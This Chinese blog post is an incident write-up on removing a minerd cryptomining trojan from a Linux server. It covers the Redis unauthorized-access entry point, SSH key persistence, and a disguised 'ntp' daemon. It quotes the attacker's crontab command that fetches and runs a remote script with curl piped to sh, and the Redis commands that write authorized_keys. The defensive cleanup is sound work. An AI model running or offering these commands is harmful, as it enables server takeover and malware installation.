彻底清除Linux minerd木马

赞赏 2016-08-12

买了台服务,临时用,安全上没注意,有一天收到报警CPU使用率100%了。
top了一下,有个minerd程序把cpu跑满了,minerd不是我们自己起动的,可以断定服务器被黑了,那就处理吧。
可处理的过程中,遇到了ntp这个很具有迷惑性的服务,费了一番功夫才敢彻底清理!

彻底清除Linux minerd木马

1 查找漏洞

minerd木马是怎么植入进来的那?系统哪块有漏洞?

先查看一下这个木马进程,命令:ps aux | grep minerd

可以看出 这个进程是root用户启动的,代码有漏洞可能性不大(web服务是www用户启动的),多半黑客已经登录服务器了,有可能是免密登录了。

去/root/.ssh 目录下,并没有发现authorized_keys,但发现了KHK75NEOiq这个文件

查看 vim KHK75NEOiq 

可以看到内容就是免密码登录的公钥 

在ssh的配置文件/etc/ssh/sshd_config中也可以看到把AuthorizedKeysFile指向了这个文件

猜想是这样的:

通过authorized_keys免密码登录后,在这个目录下创建了KHK75NEOiq这个文件,修改了AuthorizedKeysFile的指向,就把authorized_keys这个文件删除了。 


那么是写进来authorized_keys的那?  

之前处理过类似的问题,多半是redis未授权导致的,也就是说外网可以直接不用密码登录我的redis, 连上redis后,通过以下命令即可创建文件: 

config set dir /root/.ssh/ 

config set dbfilename authorized_keys set key value

其中value为生成公钥,即可将公钥保存在服务器,使得登录时不需要输入账号与密码。



2 堵住免登录漏洞

1:修改ssh端口 

编辑/etc/ssh/sshd_config文件中的Port 22将22修改为其他端口

2:禁止root用户登陆 

编辑/etc/ssh/sshd_config文件中的PermitRootLogin 修改为no

3:修改无密码登陆的文件路径 

编辑/etc/ssh/sshd_config文件中的AuthorizedKeysFile 修改为其他文件路径

4:删除 .ssh下的 KHK75NEOiq

不让外网直接连接 在 redis.conf 文件中找到#bind 127.0.0.1,把前面的#号去掉,重启


清理木马发现ntp

通常直接kill掉进程,是不好使的,肯定有守护进程,还有系统自启动,所以清理步骤是这样的:  

1:干掉守护进程 

2:干掉系统自启动 

3:干掉木马进程 


找到守护进程并干掉 

守护进程有大概有两种存在形式,crontab 和常驻进程,常驻进程得慢慢分析,我们先看crontab,有一条不是我创建的任务。 

任务是:直接从远程下载一个脚本pm.sh 并执行


我们来看看这个脚本 

大致逻辑是这样的: 

1)把 */10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh 写入crontab 

2)把authorized_keys删掉,并创建免登录文件/root/.ssh/KHK75NEOiq,修改ssh配置重启 

3)curl下载/opt/KHK75NEOiq33 这个文件,并执行安装(/opt/KHK75NEOiq33 --Install),然后启动ntp


基本可以断定这个ntp就是守护进程,但看到ntp真的有些怕怕,ntp不是搞时间同步的吗,其实 Linux正常的ntp服务叫ntpd,并非ntp,很有迷惑性啊


但为了让自己放心,还是校验了一番 

我们先从时间上校验 

看ntp是不是crontab任务后创建的 

查看这个木马任务第一次执行的时间 

去/var/log下看cron的日志: 

Jul 24 09:23:01 第一次执行:curl -L http://r.chanstring.com/pm.sh?0703 

Jul 24 09:30:01 第一次我们目前crontab里的任务:curl -fsSL http://r.chanstring.com/pm.sh?0706 

Jul 24 09:49 脚本/etc/init.d/ntp的创建时间


curl下来/opt/KHK75NEOiq33这个文件,并执行安装 /opt/KHK75NEOiq33 --Install 比较耗时间,我执行了一下,在我的机器上是10多分钟。 所以创建时间上基本吻合

我们看一下ntp的随系统启动 runlevel 2 3 4 5都启动了,够狠的呀

看一下常用的3吧 有个S50ntp 软链了脚本/etc/init.d/ntp

我们查看系统启动日志 

vim /var/log/boot.log 

有一条是Staring S50ntp 这个基本对应脚本/etc/init.d/ntp 

$name应该就对应的值是 S50ntp,通过stdout_log,stderr_log,pid_file也得到了验证。

搜索安装文件(/opt/KHK75NEOiq33)

可知看到 /opt/KHK75NEOiq33 --Install的过程中写入了ntp脚本 自启动 /opt/minerd等一系列的操作。

打开 /usr/local/etc/minerd.conf

内容就是/opt/minerd这个进程后的一些参数 好了 验证完毕,可以干掉这个ntp了


3 清理木马

1) 去掉crontab文件中的有关内容: 

/var/spool/cron/crontabs/root /var/spool/cron/root

干掉守护进程ntp,并删除相关文件

2) 干掉木马进程及其文件

3) 干掉安装文件及免密登录的文件

4) 干掉随系统启动的文件

5) top一下 一切都正常了! 重启一下,也没问题了


登陆后阅读全文
阅读 5315 赞赏 6 有用 46 没用 1 收藏 5 分享

注意事项

其实真正ntp服务的进程名是ntpd

   


作者声明:本篇文章系本人原创,欢迎分享,但未经许可,谢绝转载。

0 条留言

琅琊阁主的头像

琅琊阁主

抛砖引玉

相关文章

安全组设置允许SSH登录到 Linux 实例

Linux 流控原理,实现,及实例

Linux 如何使用 kpartx 命令读取分区表信息

云服务器 ECS Linux /tmp 目录文件是如何做到定期清理的?

Linux Web 环境配置站点的方法

Linux 内核配置问题导致 NAT 环境访问异常

Linux Mac Window网络异常时如何抓包?

Linux 系统虚拟主机 .htaccess 如何限制某些 IP 访问?

云服务器 ECS Linux 系统如何屏蔽某个 IP 的访问?

Linux IO占用高问题如何排查?

有料推荐

这世界欠我一个这样的老公!

高校学生模仿“世界名画”摆拍,可以说是戏精本精了

iPhone X 跌破发行价,苏宁200亿入股恒大 | 财经日日评

果然是高手!这次在日本,特朗普竹杠敲得不是一般狠

资深黄牛现身说法:iPhone X价格秒变不停,就像炒股一样

长一样的双胞胎也能识别?蚂蚁金服发布「眼纹识别」技术

苏联是怎么被阿富汗拖垮的?

美团或入局「分时租赁」共享汽车,王兴要大笔投入「泛出行」领域了? | 36氪独家

你或许被“一盘番茄炒蛋”刷屏了,但有人辛酸,有人质疑

iPhone X发售前夜,黄牛与苹果公司的不安

他的文章

词条 | 影子银行 | 什么是影子银行

如何保存征集助手投票助手里收集到的图片视频?

解决微信开发者工具不能复制

福利 | Purnhub的视频如何下载?

Instagram的图片和视频如何下载?

公号素材助手只下载了一张图片

提取图片中的文字 | ocr文字识别助手

Axure RP 8 注册码(最新亲测可用) Licensee + Key

福利 | 第九工厂「艺术二维码」的价值180元的三个月会员邀请码

如何9.85折给中国联通手机、固话、宽带充值?

手机扫一扫
分享文章